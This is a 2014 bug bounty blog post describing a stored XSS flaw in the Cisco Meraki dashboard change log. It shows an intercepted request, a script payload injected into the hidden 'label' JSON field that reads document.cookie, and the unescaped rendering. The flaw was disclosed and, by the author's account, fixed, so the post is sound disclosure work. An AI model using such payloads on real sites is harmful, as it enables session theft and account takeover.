Wednesday, February 5, 2014

Stored XSS in Cisco Meraki

I would like to elaborate the stored XSS finding that I have reported to Cisco Meraki during the bug bounty program.

I was navigating Cisco Meraki  web site over https://meraki.cisco.com/. It enables administrators to manage their organization networks  over the web.

 

While  testing for XSS, I searched for places where data is inserted in a page and retrieved in another. I found the "Change log" section which enables the organization manager to  view configuration changes performed by administrators on the organization networks.

 
Each administrator should have access only to the network he manages in a certain organization . What if one of the administrators is evil and wants to execute malicious scripts in the page of the manager who has access to all networks in such organization? I thought about this risk and started to find a way to do it.

This is a way to do it:

I checked how the change log page is rendered. It displays the values of "Label", "Old Value", "New Value".  They represent the values entered by the administrator while changing a setting in a network. 

A variable called "changes"  in the "Change log" page holds these values. The function "make_change_log_table" reads the contents of the variable and displays the table:
 
<script type='text/javascript'>
    var changes = [{"new_text":"America - Belize","time":1365963215.47505,"category":"Network-wide settings","admin_name":"hassan","meraki_admin_change":false,"time_str":"Apr 14 18:13", "admin_email":"test@gmail.com", "network_url_tag":"abbas3", "label":"Local time zone","network_encrypted_id":"123HRcx", "network_name":"abbas3","old_text":"America - Los Angeles","ssid_name":null},....]
 ......

make_change_log_table(changes);


I wanted to enter malicious script in those values and see how they will be rendered. So, I visited a page where you can change a network configuration. An example page is the radio setting page:



When the admin clicks on the "Save Changes" button, a request is sent to the server having the parameter "settings_change_hash" which is filled with the new settings change in JSON format. 

This is a sample request:

POST /abbas5/n/DBR9eax/manage/configure/update_radio HTTP/1.1
Host: n23.meraki.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:20.0) Gecko/20100101 Firefox/20.0
X-Requested-With: XMLHttpRequest
Content-Length: 318
Cookie:  registered=true; dash_auth=MO-dsPG4hdypf6ABCauH60MzelPo4hdnfTPG0Z9suIwdXqYug1ABCkqmjMVN4YYc2plL2334_OyzBFRFgkjw5q3Ouxk8Y5LwjO-b860DXY4CqyXAnDl84ozpVDDV2C-ASCka16EsAXObJYo9lU-1hxtuVn; _session_id=f8239db220b1280bcf42ab20bdeb6bd6; (referral)|utmcmd=referral|utmcct=/login/new_account
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

authenticity_token=28nABCvKbZ0lQWehVH%2Bn0a8sHABCbs2zPRgSoonQZbE%3D&node_group%5Bcountry_code%5D=DZ&node_group%5Btxpow_control%5D=off&radio_changes=&
settings_change_hash={"node_group[country_code]":{"label":"Country","new_text":"Algeria","old_text":"United States"}}

I intercepted such request and made my injection in the "label" value. I chose the "label" field because it was a hidden and filled secretly.  The app will probably trust it. So,  I filled the "settings_change_hash" parameter with the value:
 
{"node_group[country_code]":{"label":"Country<script>alert(document.cookie)</script>", "new_text":"Algeria","old_text":"United States"}}

When I visited the change log page, BOOM !!


 This is what happened.  The response returned in the following context:

<script type='text/javascript'>
    var changes = [{"new_text":"Algeria","time":1365961405.36341,"category":"Radio settings","admin_name":"hassan","meraki_admin_change":false, "time_str":"Apr 14 17:43", "admin_email":"test@gmail.com","network_url_tag":"abbas5", "label":"Country<script>alert(document.cookie)<\/script>" ,"network_encrypted_id":"DBR9eax","network_name":"abbas5", "old_text":"United States","ssid_name":null}
......

make_change_log_table(changes);

The script is properly escaped in the variable "changes". Note that </script> was replaced by <\/script> in the response However,  the function "make_change_log_table(changes)" read the contents of the "changes" variable  and rendered the value of the "label" item without escaping causing the script to execute. This issue was present only in the "label" value. It was trusted by the app and the result was a malicious script executing in the organization administrator page.

Cisco Meraki fixed the issue immediately and rewarded me.

Bug bounty program rules for Cisco Meraki is available on https://meraki.cisco.com/trust/#srp

3 comments: